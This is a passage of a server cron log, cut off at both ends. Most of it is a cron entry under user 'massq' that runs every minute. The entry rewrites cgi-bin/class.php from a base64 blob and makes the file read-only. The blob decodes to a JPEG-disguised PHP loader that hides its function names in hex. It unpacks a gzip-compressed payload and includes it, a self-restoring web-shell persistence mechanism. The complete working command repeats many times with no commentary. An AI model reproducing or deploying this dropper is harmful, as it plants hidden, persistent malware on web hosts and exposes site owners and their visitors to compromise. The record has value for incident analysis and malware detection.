"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:58:01 server CROND[3281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:59:01 server CROND[3369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:00:01 server CROND[3444]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 01:00:01 server CROND[3443]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 01:00:01 server CROND[3445]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 01:00:01 server CROND[3446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:01:01 server CROND[3575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:01:01 server CROND[3576]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 01:01:01 server run-parts(/etc/cron.hourly)[3576]: starting 0anacron
Apr  7 01:01:01 server anacron[3588]: Anacron started on 2025-04-07
Apr  7 01:01:01 server anacron[3588]: Normal exit (0 jobs run)
Apr  7 01:01:01 server run-parts(/etc/cron.hourly)[3590]: finished 0anacron
Apr  7 01:02:01 server CROND[3744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:03:01 server CROND[3810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:04:01 server CROND[3874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:05:01 server CROND[3947]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 01:05:01 server CROND[3948]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 01:05:01 server CROND[3949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 01:05:01 server CROND[3950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:06:01 server CROND[4092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:07:01 server CROND[4252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:08:01 server CROND[4303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:09:01 server CROND[4360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:09:01 server CROND[4361]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 01:10:01 server CROND[4416]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 01:10:01 server CROND[4417]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 01:10:01 server CROND[4419]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 01:10:01 server CROND[4420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7J